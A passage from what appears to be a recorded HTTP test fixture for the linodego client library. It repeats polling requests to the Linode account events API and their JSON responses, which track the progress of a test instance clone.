"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.704915, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.767432, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.836654, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.959599, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.028614, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.095389, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.162923, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.233921, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.303033, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 59.390544, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.458093, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.530965, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.593039, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.657932, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.736543, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.800887, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": "0:0:0", "rate": "649.00 MB/s", "duration": 59.871789, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 